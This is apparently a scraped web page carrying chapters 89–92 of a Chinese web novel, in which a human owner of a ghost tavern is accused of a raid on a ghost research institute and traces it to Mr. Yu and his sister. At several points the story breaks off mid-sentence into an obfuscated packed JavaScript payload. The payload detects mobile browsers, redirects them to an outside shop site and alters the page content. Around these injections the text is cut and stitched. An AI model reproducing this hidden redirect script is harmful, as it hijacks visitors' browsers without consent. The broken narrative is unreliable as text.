“不愧能做到老大的位置上，简直是大大的好心，真想认识认识。”小鬼已经对整个鬼魂圈子失望了，先不说遇到那几个欺负他的，就说在鬼小馆里。 室友辉辉就是个哑巴，问啥都不说，叫他上课最积极；温老那个老头，不仅抓他上课还关他。 全员恶鬼。 此时此刻，在小鬼的心里，这位老大的高大形象已经牢牢刻画住了。 温令羽是不知道小鬼的心理活动，不然高低得让他知道绝对是看走眼。 事实上温令羽是没想管那支小队伍的，并不在意对方能不能及时到岗，但真要让他评价，分数也不会高。 眼还没睁开，声音先进了耳朵。 “难得啊，之前不是还很硬气说不来，这么早就等在门口了。”小鬼睡眠调整不过来，晚上都是睁眼过的，第一个发现门口站着的小队。 小队长是受任于温令羽的，对于小跟班似的小鬼，他确实看不上眼，没理会对方的冷嘲热讽。 一拳头打在了棉花上，小鬼笑不出来了，径直回了房间。 温令羽被他们的动静声吵醒了，看着精神抖擞的小鬼，叹了口气眼下是彻底服了。 “你们怎么又吵起来了？” “他们个个眼高于顶，我是真看不上。” 自从他们一来，就是各种看不上他们，特别是队伍中的有一个，简直是眼睛长到天上去。 温令羽也看不惯，但他不屑于跟他们去计较。 有了温令羽的开解，小鬼也不拧了，接受多了一行人加入的事实，就当是给自己找了几个脾气差保镖，反正要让他们干事的时候，谁也逃不过。 两天的相处下来，双方倒也没再发生争吵，除了气氛有些尴尬之外。 发放活动开始的那天，温令羽他们早早就站在研究所往年的位置等待，因为活动是长期举办的，都不需要宣传，自发过来领东西。 甚至有一些来得比温令羽都要早。 无意中给他们节省了很多的工作。 活动这天是阴天，好在并没有下雨，只是天暗了一点、黑了一点。 小队长先是看了一眼天空，视线又放到空旷的中心，心里的慌乱愈发明显，他把温令羽叫到一边说话。 “按照往年时间来看，应该早就到了。”四周除了不断赶来的鬼魂居民，一点都没有研究所成员的影子，“甚至连发放的东西都没有带过来。” 小队长观察得仔细，现场只有他们一行人和居民。 温令羽是不想信的，无奈他说的每一句都是真的，问道：“有没有可能不是这天？” 大家都是按照往年惯例来的，就连面对温令羽研究所老大都没有明说，只是说了过几天安排好了就有，所以改时间就很有可能。 “不会的。”小队长持不同的意见，他能带一支外出小队，自然是在里面混到这个位置，知道好多。 温令羽疑惑地看他的眼睛，试图从中找到蛛丝马迹。 分发给鬼魂的居民的这些用品全是研究所剩下来的，只需要收集起来 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还好小队长知道条密道，既然正门进不去可以去走小门。 温令羽跟着他们来到一处挂满枯枝的墙壁，墙壁上附着的水泥已经老旧脱掉一半，小队长直接穿墙而过，其他鬼魂见状也一一效仿，独留温令羽一个人站在墙的另一边。 小鬼发现温令羽没跟上来，穿墙回去找他，“你怎么不来？” 不仅没有感同身受，现在连换位思考也没有了。 温令羽抬头看高出自己不少的顶，无奈地问：“你看我像是能翻过去的样子吗？” 在翻墙的这门技术上，温令羽少锻炼了几年，加上又缺少练习，自然是不太熟练。 可眼下又没有其他路可以走，只能翻过去达到对面。 温令羽借助跑起身一跳，好不容易定在上面，但很快又滑到地上。 他尽力踩到墙壁上的坑洼，用巧劲往上攀爬，失败了几次后总算能够到顶上。 等完全坐稳在墙壁的边缘上，温令羽才缓了口气，然后，在第六感的作用下发现气氛有些不对劲。 墙的另一端，除了小队伍几个，还有实验室的一群鬼魂，老大在里面冷眼旁观温令羽翻进来。 还以为是翻墙触犯了规定，温令羽从上面跳了下来，解释道：“刚刚在大门口进不了，所以才翻的墙，冒昧了。” 但是，对面的神情没有变化，依旧凶神恶煞的，像是马上要打过来。 忽然，老大抬头示意身边的人，在温令羽还没反应过来之际，把小鬼扣在了地上，还往研究所里面带，而其他鬼魂全部拦在中间，阻挡温令羽进去救援。 温令羽还没动，老大终于开口了，不过是来阻止他的，“你自己清楚，我们动手扣住你的人，你救不了，你只能当一个旁观者。” “你什么意思？”温令羽看清了他们眼中的恶意，也不再假装友好了。 撕破脸谁还不会。 89.信任困难 突然间，老大的眼神变得狠厉，他一把推开站在他面前的鬼魂，走到了温令羽的面前，怒火像是要把他吞没。 “你们的人抢走了所有的东西，还砸了实验室！你还有这个脸来问我什么意思？”老大光是想到昨天的遭遇，整个人被气到发疯。 这一口大锅盖在了温令羽头上，他自己也不情愿，可眼下让他们之间产生矛盾的是误会，搞事的是想让他们双方关系破裂，绝不能容许这样的情况发生。 温令羽理智上后退一步，没有拧犟脾气，说道：“最近我一直和小队伍一起，你问问他们有没有派人来干这些事情。” 小队长正处在他们里面，其他成员倒是已经进去了，想必里面正在问。 果不其然，不多时就有鬼魂出来，在老大耳边轻声说了几句，他的脸色好转了一点，不再一副马上要冲上来打人的样子。 虽然温令羽听不见他说了什么，但自然是对他有利的话。 研究所老大脑子转得很快，这一茬过去，那未必不是提前谋划的，“不是近期计划的，那就是之前就想好的。怪不得怒气冲冲来找我问罪，就是来提前踩点。” 这里面的逻辑仔细一向，相当合理。 前因后果全在。 要不是对象是温令羽自己，他都要相信了，他不陷入自证的陷阱，反问道：“你既然说是我安排的，有证据吗？” 没做过的事，温令羽不相信能拿出来。 温令羽自信地觉得拿不出来，老大看得气不打一出来，但他还真有人证，说道：“我研究所里的都听到了，他们就是鬼小馆派来领补给的。” 说着，他身边的研究员站了出来，补充他们老大的话，“要不是拿出鬼小馆的凭证，我们是不会轻易放进来的。” “一进来就搬东西，都超了份额。我们仅仅去提醒几句就被打了。”附和的鬼魂又加了一位。 站出来了两个，旁边见状又说道：“他们还闯进实验室，把正在进行的实验强制中断，把设备都砸了。” 几个鬼魂的几句话把研究所遇到事叙述完，温令羽也听清楚听明白了，他们也不会骗人，毕竟一进去就能看见现状，骗局一下子就能被解开。 他们越说，老大的脾气也上来了，刚刚温令羽一番话他稍微消气了，可是记忆随着对话又重现在脑海里。 温令羽及时叫停：“这些不是我做的。既然你说都是鬼小馆派人过来抢的，不如去看一看，补给在不在？” 虽然找幕后之人重要，但在盟友面前，温令羽得先稳住后者。 老大还心有顾虑，可眼下研究所的实验中断，重新设计还需要大量时间，反倒是给他们空出了时间。 大家对于只听闻，没亲眼见过的鬼小馆充满好奇和向往，见状老大原本想拒绝的打算换了个口风，答应了亲自去鬼小馆看看。 “好，如果真的是你们抢的，你打算如何？”疑心没有打消，老大需要温令羽做个承诺。 温令羽完全相信自己的人，说道：“不可能是我做的，你有任何条件我都答应。” 老大嗤笑一声，不置可否，条件也没有提。 研究所里一团乱，整理迫在眉睫还要很多人手留下，不能所有鬼魂都外出，老大选了几个想去的，和温令羽赶上了车。 为了速度更快到达地方，温令羽没有原路返回，转到省会乘飞机回去的。 老大他们是第一次坐飞机，他灵魂回来的那时，还没有飞机，再一次从里头出来，外头已经完全大变样了。 本来是不想和温令羽说话的，但他实在是太好奇了。 “这是什么？还会飞？”老大眼睛都亮亮的，在新事物面前，不满的情绪可以往后放一放。 温令羽意识到对方没坐过，就开始给他介绍，还想更准确就查了资料，事无巨细的。 要是他们能研究出来，鬼魂们再也不用日夜兼程去赶路，长距离就可以乘工具，不是说不能蹭人类的交通，主要是容易找错。 在云层飞了一会儿，到了目的地才发现搞错了，找回来要花好一番功夫。 所以要是能自己决定，就好。 他们一行人赶到了鬼小馆已经是半夜，虽然在出租车上，司机对温令羽带着行李去一个荒凉的地方的行为充满疑问。 若温令羽不能答上来，司机都要将他送公安局去了。 酒保正在营业，看到多日不见的温令羽出现，准备向他问好。 话还没出口，就看到温令羽后头还跟着一帮鬼魂，一个个穿着研究服，像是从研究所里出来的。 “他们是研究所的？”酒保把温令羽拉到一边问。 温令羽点点头，想给他们双方做个介绍，研究所老大没相互认识的想法，一把挥开酒保的手，说道：“你们鬼小馆抢了我们研究所的东西，我们是来拿回自己的东西的。” 这话说得有底气又大声。 一下子就在大厅传遍了，一个个你看看我我看看你。 “你在胡说什么？”大厅里突然响起了一道声音，他倒没有穿研究服，不过戴着眼镜看着就像是个文化人。 研究所老大一看有人在反驳他，怒火更是压不住了，直接把现场情况叙述了一遍，还把温令羽叫出来当证人，毕竟他是看到研究所现状的。 温令羽是看到研究所被砸了个遍，东西都被搬空了。 尽管是温令羽出面，戴眼镜的依旧面色不改，然后大叫一声：“小文，出来。” 过了几分钟，小文从走廊那边跑过来，温令羽见过他，小文经常来送研究所的新产品，他们之间还有过交流。 小文对戴眼镜的恭恭敬敬问好：“哥。”、 他是研究所的总负责人，好不容易等今年计划完成后过来放松，结果就遇到这样的事，心里也烦得很，毕竟那老大句句在指责他这个总负责人不称职。 总负责人对老大说道：“鬼小馆所有供给全由总研究所提供，各地研究分所的新品式样早在三个月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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晋叔看见温令羽脸上的表情变化，他心里突然有一种不好的猜测：“你不会把小鬼也带回来了吧！那你怎么安顿他？老先生已经回去了。” “要不然……”温令羽视线往上面瞟。 晋叔读懂了温令羽的意思，他回复：“我倒是没问题，你要问小鬼他自己愿不愿意，上次的心理阴影有没有消除。” 温令羽苦笑，要是消除了的话，小鬼就不会宁可站门口等，也不进来了。 晋叔摊手无奈，他注意到小文过来了，示意温令羽后面有人过来，还给了两个人单独对话的空间，“小文来了，那你们聊吧。” 涉及找幕后boss的，越少知道越好。 小文是特意过来请求温令羽宽限时间，他没法在短短时间内找到负责人，况且研究总所研究员数量太多了，还有不少在执行外出任务，得花时间去找。 温令羽对此表示理解，让他们可以慢慢去找，事实上分所他们已经信任此事非鬼小馆所做，所以找负责人的事并不着急。 相信归相信，可事实证据还是要拿出来的，不能发生在事后落人话柄的蠢事。 90.疑心人选 小鬼在外面站累了，蹲在墙角等，等到自己都快倒头睡下了，温令羽才从里面出来。 拖行李箱的轮子音特别突出，在靠近地板的时候，声音放大了好几倍，一下子把瞌睡虫全打跑了。 小鬼一下子从地上站了起来，哈欠连连：“你终于出来了。” “我们去你家吧，我好困。”小鬼见温令羽迟迟不说话，催促他赶紧回去，他本来就是白天睡晚上不睡的，一趟路这么一赶，把时差调整回来了。 温令羽知道是瞒不了了，就把温老住在他家的消息从头到尾说了，把选择权交给小鬼。 话音刚落，小鬼表情大变，眼神中饱含对温令羽的同情，“那个老头是你老祖宗？先不说你在自己家供个祖宗，你怎么能忍受他那个脾气的。” 温令羽想给温老解释，他从来不倚老卖老，甚至对他和阿辛两个小辈都好，只是在他独自出去一趟，回来之后就变了个样，像是瞒了事情。 小鬼本就有偏见，而且他遇到的事情都是真的，对温老更加烦恼厌恶，摆摆手让温令羽别说了，“我不想听。我就随便找个地方躲起来吧。” 温令羽不会让小鬼独自流浪在外，安全不能保障，幕后之人还没抓到连他的身份都没查出来，放小鬼出去太危险，就让晋叔安排了一个空旷且偏僻的房间。 小鬼对这个安排也同意，他就只要待在房间里不露面就可以，等到晚上再出来，倒是温老也回去休息了。 处理好了小鬼的安顿问题，温令羽就打车回家。 打开了客厅的灯，原本应该休息的温老，正站在茶几旁边慌乱地收拾桌上的纸张，等温令羽走进了看，上面的纸依旧被收好了。 没有灯不影响视物，这一点温令羽早就知道，不过一听到声音就这么着急收东西。 “你在收什么？”温令羽来之前还担心自己要解释这么多天外出，结果岔开话题的由头就这么端端正正摆在面前，再不珍惜就愧对了。 温老没想到温令羽看到了，他从兜中重新摊开纸张，说道：“我在看辉辉写的东西。” 内容确实是辉辉写的作业，单单是这个，为什么要收这么快，温令羽这么问温老。 温老只是说刚好看完要休息了，而且他没有隐瞒的必要。 或许是不想听温令羽的质问，说完就回了自己的房间。 温令羽沉默地看温老的背影远去，这一幕像是和之前的好几慕重合，他叫住了要走的温老，说道：“辉辉的身份他和我说了，你早就知道了吧，我总觉得应该是由你来和我说的。” 辉辉是温老的孙子，想必在清明那几天就知道了，之后辉辉到了分馆又来了温老身边，温老的嘴是真的严，一点风声没有透露。 “你知与不知都不能改变什么，我妻子已经死了。”温老对辉辉满是愧疚。 因为他害得辉辉生前过得苦，明明到了十五六岁该长身体的年纪却营养跟不上，而他的妻子因惦念唯一留在身边的孩子，无意把辉辉的灵魂召了回来，在漫漫时间长河中，终是跟不上失去了思考能力。 温令羽读懂了温老话里面的意思，他的话本意不是这样的，刚想解释。 温老没有让温令羽出声的机会，说道：“我早晚有一天要离开的，在此之前我要让辉辉能有独自生活的勇气和能力，所以给我一点时间，好吗？” 这话来得戳心，尤其是最后的一句“好吗”，简直让温令羽毫无招架之力，除了答应下来没法再问什么。 事实上他连温老为什么回来的理由都不知道，明明辈分相差这么远。 温令羽安慰道：“哪怕你走了，我也会照顾好辉辉的。” 温老背向温令羽，无声地摇摇头，他比谁都清楚其中的不得已，可又说不了。 隔天一早，温令羽还在补觉，温老按照惯例起床去鬼小馆。 直到了馆内，温老从其他口中得知前一晚发生了如此惊天动地的事情，还是研究所搞出的事，由温令羽带回来的。 而当事人温令羽回去，一点苗头都没和他说过，温老感觉到自己的拳头都握紧了。 温令羽对这一切毫无所知，还处在梦乡里。 等睡醒睡饱了，小文已经把负责人带过来和研究分所老大他们几个对峙，三言两语下把事情搞清楚了，嫌疑彻底洗干净了。 眼下就是由总所正式接受，来处理分所遇到的恶意事件，找出幕后搞事的人。 温令羽一来，就由总所负责人过来，“听说他们还冤枉过你，我正式代替他们向你赔个不是。这次的袭击我们会派人去调查的。” “有什么需要的尽管说。”温令羽也愿意出一份力。 总负责人没拒绝温令羽的好意，他过来自然也是要问一问的：“小文说，分所是因为看到鬼小馆的标志才让他们进去的，所以才导致警报系统没奏效。” 研究所内安装的警报系统是最高级的，为了保护他们不被袭击。 而且除了鬼小馆的，研究所的去向是不会有别的人知道的。 温令羽摇了摇头，他早就将研究所的事情交给酒保，自己很少过问，但看总负责人的样子，只好把酒保叫过来。 “平时鬼小馆和研究所的对接是怎么样的？”总负责人自己仅仅知道个大概，他平时只负责安排其他研究人员过去。 酒保是知道面前这鬼魂的身份，只是接触得少，便事无巨细地说了流程。 温令羽生怕他的怀疑，“我相信他的，他绝对不是内鬼。” 酒保本可以靠其中捞点油水，还不比去抢要好，自然不可能是他。 总负责人白了温令羽一眼，他时常怀疑温令羽的智商是怎么到这个位置上来的，“我当然不会怀疑了，他我认识的！” 酒保在总负责人和温令羽的话里话外中，了解到了事情经过。 他弱弱在两位面前举起了手，提出了另一种猜想：“你们想过分馆吗？自从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14234917|132143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拆掉后，于先生已经很久没有消息了，于先生的妹妹在研究所工作。” 话落，温令羽和总负责人对视一眼，都从双方眼中读出了恍然大悟。 但是他们手上没有证据，仅仅是一个猜测而已。 总负责人先说道：“需要拿出证据。” 酒保当然拿不出来，可是他是想提供一个方向，毕竟除了他们几个管事的，就只有于先生管的分馆知道些内情，分馆的待遇是一样的。 眼下是找不到于先生的，可是于苑处在研究所，只能是把她找过来一问。 酒保说道：“于苑我让小文带她了，可以问一问小文。” 小文是谁手下的人。 意识到这一点，温令羽和酒保双双看向他们三个之中的另一个，没说话，但是就是让他去问。 总负责人没想到绕大圈还是回到了自己身边，但确实是个方向。 小文早就被安排出去找其他线索，还没找到就又叫他回来，在他们集体开口前，说道：“我还没有找到其他线索，可能还需要时间。” 别看小文嘴上这么说，事实上他心里已经开始骂了：才发几个小时的任务，你就要我找到，我是鬼不是神，不是光许愿就能实现的。 “于苑是你带的吧，她最近有什么异常行动吗？”总负责人看温令羽和酒保都没问，还是自己开口了。 小文一听这名字，满脸疑惑地问：“这谁啊？我不认识。” 小文作为总负责人身边的得力干将，要忙的事情很多，顾不上一位新来的也是常有的事，但直接忘了太不上心了。 酒保在一旁挤眉弄眼想提醒，可小文压根没往他这边看，只好说：“我托你帮忙照顾的那位小姑娘，让你在研究所帮忙搞一个职位，你还记得吗？” 这么一提醒，小文是记起来了，有这么一件事。 “她的资历进不了总所，我就让助手安排她去附近分所帮帮忙。”小文早就把于苑安排下去了，哪里还记得她。 眼下于苑的嫌疑又大了几分。 总负责人的神色变得凝重起来，他让小文去查于苑，“于苑有动机，你亲自去一趟。” 好歹是温令羽要安排的，他对小文说道：“找到任何线索，记得告诉我一声。毕竟她是我让安排的，无论如何我也要知道结果。” 小文先是看了一眼上级，无声地询问了他的意见，知道他没有反对就答应了。 把他们两位送走，酒保站在温令羽身边，问道：“真的会是于家兄妹做的吗？” “不知道。但于先生可以拿出鬼小馆的证明，于苑也可以查到研究所的地址，哪怕是于苑不说，于先生要能提前记住各地研究所的地址，是可以找得到。”温令羽不想相信，可却能说通。 酒保还是心有疑惑，问道：“但他为什么要选一个这么偏僻的研究所抢劫，要不是他们介绍一下，我都不知道这么一个地方。话说，你怎么去这么一个地方？” 91.依赖心疼 “巧合，我无聊逛到那了。”温令羽一时找不到合适理由，只能随口敷衍。 不过酒保一点没有看出有敷衍，还十分相信肯定地点点头，他还有工作，就没多待按时回到自己岗位上去了。 温令羽先到了辉辉的房间，里面没有他，应该是在上课，想了想还是在门口等辉辉上来，没有去教室把他叫出来。 他记得小鬼曾说过，幕后之人找过周蔓来问“看见鬼魂”之事，辉辉也在现场，能把两者结合起来就只有于先生能做到。 于先生代表分馆把辉辉接回来，当时温芷欣刚离开未必不知道她们之间的内情，等辉辉恢复一段时间后再由辉辉带头去找周蔓。 可于先生为什么要帮助幕后之人？ 温令羽只能去问辉辉，问的不是幕后之人，而是于先生的动机。 辉辉是跟着温老一同上来的，温令羽见此并不意外，可他要谈的事情是要单独说的，说道：“我想问辉辉一些事情，可以吗？” 温老眉头皱了一下，看到温令羽坚定的目光，最终是点点头。 他们站在原地目送温老下楼，辉辉才上前几步把房间门打开，示意温令羽进去聊。 “于先生有带你见过周蔓吗？”温令羽听见门被关上的声音，转身看着辉辉的眼睛问道。 辉辉倒是没像之前拘谨，他点点头，用动作回应了他的答案，就在下一秒他出声：“你别和老先生说，他不想让你参与进来。” 听这话，温令羽一愣神，他的台词被辉辉抢走了，又一次激起了疑心。 “为什么他不让你说？”温令羽语气激动，不愿相信温老会故意隐瞒，还要阻止他找到幕后者，眼睁睁看着冤死的亡魂游荡世间。 但是，辉辉接下来的话，一时间让温令羽陷入了迷茫，“老先生说，世间出现了第二个‘看见鬼魂’的人，那么谁才是鬼小馆真正的老板呢？” 眼见那人的作风，就知道他和温令羽是截然不同的，注定当不了同伴，只能成为敌对的双方。 辉辉知道温令羽把这话听进去了，又继续说道：“老先生只是不想让你掺和进去，或者说还没有到出场的时候，想让你再等一等。” “不过如果你定要追查下去，我站你这一边。”话锋一转，辉辉笑着鼓励温令羽去查找真相，“因为我想，被迫上场的话不符合我们温家人的家风，我们一向是当领头的。” 明明个头比温令羽还小，按照生前的实际年岁也比温令羽小，可是辉辉就是有一种长辈的光辉在，或许是终于记起了他也是温家祠堂供奉在上位的长辈。 有了长辈的气质。 温令羽没和辉辉说自己的决定，但答案他们心里都清楚，不需要特别说出来，只要不说出来就不会落下话柄，省得辉辉能在温老面前挺直腰板一些。 在这个时候的他们心里，只要不说，就算是没有背叛过。 温令羽在鬼小馆发布了查找令，全力追查于先生的踪影，不过查找令上的查找理由，只是说想找他来继续商量分馆的事。 希望能以最快的速度找回来。 查找令温令羽很少用，但它的效用早在前几任老板手里得到验证，温令羽非常相信查找令能尽快找出来。 只是没有说出真实理由，温令羽自己都不能确定，提前盖棺定论对谁都不公平，更加容易消耗自己的信任值。 “这么着急把于先生找过来，有线索了？”晋叔得到了消息就找过来，他可不信温令羽写在上面的理由，最近他追查幕后者的线索，怎么会突然转向于先生。 还有研究所，在到处找于苑的下落。 温令羽将自己的猜测说了，至少于先生见过幕后者，找他来问问这件事也合理。 晋叔听着，又附在温令羽耳边讲了小鬼的事，其实也就是让他去问一问辉辉，结果温令羽早就先行一步得到了消息，“小鬼一早和我说了，只不过你来的时候小文和你在说话。” 温令羽突然想说一说温老的顾虑，顺便问一下他的看法，话到嘴边又转了个弯，问出来的却变样子：“鬼小馆的老板是怎么选的？” “没干多久就要换人了？”晋叔打趣道。 温令羽跟着笑起来，借口说单纯想知道而已。 事实上换届选任的事情都是归酒保管的，他知道的内部情况会更丰富一点，可眼下正着急上头温令羽完全没想到这一点，只是觉得晋叔跟在前任老板身边的时日多，想必应该是清楚的。 晋叔仅仅知道个大概，“老板都是人类，而且必须有‘看到鬼魂’的能力。就这两点，按照惯例也只会有一个人选，所以不会有例外情况。” 温令羽眼中无神地点着头附和，害怕让晋叔看出来他心不在焉，找了个理由跑了。 令美珑就站在家门口，脸色惨白，嘴唇毫无血色。 在自己的零星记忆中，每次见到令美珑都是见她化着妆，光把她衬托得更温柔，但当她执着于一件事时，她就像是自身发出的温暖的光。 可如今虚弱的模样，温令羽从来没有见过，妈妈在他面前永远是过得很好的样子。 令美珑看到了温令羽走过来，她强撑的身体再也站不住，在她快要倒下的时候温令羽跑上前扶住了她，什么也没问开门进去。 扶着令美珑坐到了客厅沙发上。 好几日没回来，茶几和沙发上已经积了不少灰尘，温令羽和令美珑一同注意到了上面。 令美珑终于笑了，说道：“这么大了，都照顾不好自己。” 温令羽尴尬地挠挠头，不过能逗笑令美珑也是件好事，“太久没整理了，我去擦一下。” 家里的陈设已经和令美珑走时不同，不过还是能从里面看到不少熟悉的小物件，尽管不在记忆中的原位，但还是在这个家里。 温令羽把客厅简单擦拭了一下，突然想起来，自己的行李还放在房间里，要是令美珑发现还不知道怎么和她解释。 客厅里没有令美珑的身影，想起刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14244160|132143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚打扫的时候在阳台看见了，满怀希望地朝阳台看。 “阿羽，你出远门了吗？”令美珑看着整整两大箱，上面还贴有托运行李的单子，对在客厅的温令羽问道。 温令羽不想欺骗令美珑，但又不知道怎么说，便站在了原地没回答。 令美珑迟迟听不到答复，从房间里走出来，见到温令羽这副样子，没有强求要个回应。 她只是想关心一下自己的孩子，并不是为难他。 令美珑在房子里参观了一圈，重新坐回到客厅里。 就在这个时间里，温令羽已经成功打扫出来一间房，可以让坐车疲惫的令美珑休息一下。 床单被罩都是洗过干净的，铺得整整齐齐。 令美珑伫立在门口，静静地看，她的大儿子已经能给她一个港湾，让她不再单独面对家人给予的风暴。 甚至他什么也没有问。 “我把孩子打掉了。” “那我晚饭多订一份汤，补一补身体。”温令羽看向母亲的目光满是心疼，“一定很伤身体。” 以前的眼神里总是依赖更多，后来担心会给母亲造成负担和压力，往往总是低着头，看不见就当没有了。 令美珑眼泪控制不住地落下来，止不住地点头：“好。我的阿羽长大了。” 令美珑没有带换洗衣服过来，温令羽确定她安心睡下后，才出门去买点东西。 温令羽去小区的超市买了一些水果，再添置了一些吃食，他家的冰箱早就空了，里面可能就只剩下过期的鸡蛋和一堆腐烂的菜叶子。 想到鸡蛋，又转去了蔬菜区和肉区，采购一些新鲜菜和肉食品。 等买完衣服，从私房菜取走预定好的饭菜回家时，令美珑已经睡好一觉，精神气都恢复过来了。 “你回来了？”令美珑从电脑前抬头，就看到温令羽大包小包地拎进来。 温令羽没让令美珑接手，自己抬到了厨房，把冰箱里不能吃不能喝的东西清理出来，再把新买的东西一件件放进去。 “你买这么多？我其实待不了几天。”令美珑说。 这话是在说，或许我明天就要走了。 温令羽也清楚，他转移了话题：“我把定好的菜拿回来了，不知道会不会合不合口味。” 令美珑被温令羽赶到餐桌那，自己则是继续留下来整理。 晚饭吃完后，令美珑继续完成自己的工作，温令羽则是回到了房间。 继父的电话没打过来，反倒是弟弟的，甚至从他的话里，他丝毫不知道令美珑已经过来的消息。 “哥，妈妈找不到了，你能打个电话吗？”弟弟语气很着急，像是真找不到了，“前些天我去参加竞赛需要家长陪同，她让我跟着校车一起去，吵了一架我就把她号码拉黑了，之后就再也打不通了。” 温令羽回复：“她现在在我家。” 弟弟一听这话，心也安定下来，“我想和妈妈道歉，你能把电话给她吗？” 92.幕后者现 空荡荡的卧室里面，昏黄的床头灯开着，烘干好的新衣随意扔在被子上面，衣服没有使用过的痕迹，人就已经离开了。 明明是温馨的氛围，因为少了重要的那个人，更多比较之下，温暖的感觉被一扫而净，只剩下了悲伤和孤独。 令美珑接到弟弟的电话，一知道他竞赛回来家里没人给他做饭，还在气头上，可依旧买了最近的票要回去。 温令羽看了看外面天已经黑下来了，说道：“这么晚了，不然我订餐外送？” “不行。他爸爸这两天出差，家里一个人没有。”令美珑一口就否决了，因为弟弟缺少的不是一份饭，仅仅是连日不在家需要的陪伴。 温令羽平复了一下自己的情绪，等自己完全冷静下来后，把令美珑送到了高铁站。 之前适合洽谈的和谐换到此时的车上，只剩下了尴尬。 令美珑多次想和温令羽说话，但是温令羽专心路况，对于令美珑抛出的话题也是有一搭没一搭的接着，压根没把注意力往令美珑那里看。 车停在外面，温令羽先下车，感受到风很大，又重新把上次留在车上的外套带了出来，给了副驾驶衣服很单薄的令美珑。 令美珑将外套穿起来，觉得温令羽该是过去了，说道：“阿羽，下回你来……” “马上发车了，先进去吧。”温令羽不想听她说话，容易动摇自己的决心，打断了。 事实上也是，令美珑买的票很赶，马上就要检票了，令美珑不能多待，留下一句：“到了给你发消息。” 温令羽点点头，无声地护送令美珑到检票口，目送她进去了。 然后才转身回去。 出门得太急，房间的灯没有关，拿钥匙开了门，温老正从他的房间里出来。 “你去哪了？怎么连空房间都整理出来了？”温老一回来，房间内灯光大亮，找了一圈可家里一个人都没有，甚至连长时间不用的房间都亮着灯也没人。 温令羽不想再提这个话题，借口回了房间。 刚送走了一位，第二天人精神还没恢复回来，温父就怒气冲冲地找上门。 “你这些天去哪里了？”温父来得不止一次了，次次温令羽都不在。 来的第一天气疯，觉得温令羽竟然关门不见他，电话也打不通，连续来了两天，知道温令羽是真的不在家，怒火也渐渐消散了。 总不能随便发火。 这个电话温令羽倒是看见过，但他没想着回复。当时温父打过来温令羽还在医院里，刚好就错过了。 想着对方也没有什么大事，温令羽也就没想再打回去。 “出去有事。”温令羽这话明显是不想多谈。 温父不是来关心温令羽的，特意过来当然是前些天听说了前妻遭遇的事情，为了不让自己什么都捞不着，来找两人的儿子。 温令羽越听，表情越不耐烦，没听完就关门不理人了。 还好自己没把温父请进来，不然还真不好送走。 温父在门外无能狂怒了几分钟，眼见温令羽都没有开门的意思，电梯上上下下容易被看到，没在门口几分钟就走了。 温令羽一点不想掺和进去。 温老是被他们的吵架声响搞醒的，对于他们父子两个的战争，在他所在的时间里已经可以看习惯了，之前还想过要协调他们的关系。 第一次还没尝试，就被温令羽一个眼神怼回去了。 眼下，温老还有另一件事情想问：“查找令是你发布的吗？” 查找令还是别的鬼魂来说的，争取传到每一位鬼魂耳中，一起来找查找令上的人。 温令羽意识到温老是在表达什么，他只是看着他没有说话。 温老知道温令羽听进去了，他想了想，依旧还是问出口了：“不能不掺和吗？” “不行。”温令羽等他说完才拒绝的。 温老叹了口气，他能猜中这样的答案，心里也没来由地感到一阵放松。 “于先生应该会扶持他来和你竞争，你只要稳住鬼小馆里，还有小文，他代表的研究所是很重要的。”温老没有再阻拦了，还给温令羽出点子。 温令羽也知道的，在知道温老的顾虑后，他就想到过。 虽然最开始有怀疑过自己这个老板身份来得合不合理，但事已至此，要让他把自己吃到嘴巴里的拿出来，太过强人所难了。 况且，他的老板是被大伙承认的，自然是要把老板身份认得死死的。 谁来质疑，都能把人家说回去，自己就是。 于先生很快就被鬼小馆的人找到了，只不过遇到他的人，差一点就被策反了，还好有神智清醒的鬼魂，把其他人劝醒了。 听从了查找令，把于先生带回鬼小馆。 温令羽再次见他的时候，他站在人群中间，掷地有声地指责温令羽的失职，还有他的言而无信。 “人类都虚伪，你们拥护的就更虚伪了。受了我这么多好处，盛了我这么多恩情，最终却要让我的心血付诸东流，连答应给小苑的研究员名额，都食言了。”于先生哪里会信温令羽找他来是商量分馆的事，先一步打破这层窗户纸。 更何况，自己现在不需要分馆，要拿下鬼小馆让其他鬼魂后悔去吧。 温令羽没理会这些莫须有的说辞，问道：“研究分所的抢劫，你参与了吗？” 到目前为止，温令羽还是要给于先生一个机会，没有说主谋，仅仅是说参与一词。 对峙双方都没有处在同一个频道里。 于先生一味在指责温令羽，温令羽却是在问抢劫一事。 大伙的思考被两方拉扯着，一下听这一边，一下又想起前些天看到的研究员吵闹事件。 好在其中，研究分所的老大时刻牢记自己是为了什么来到这里的，坚定要寻找真凶。 “这不就是我们研究的武器？”研究分所的一位趁着大厅混乱，晃悠到了敌方那边，在于先生带来的人里面，找到了属于自己研究所的研发品。 每一份研发物件，都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 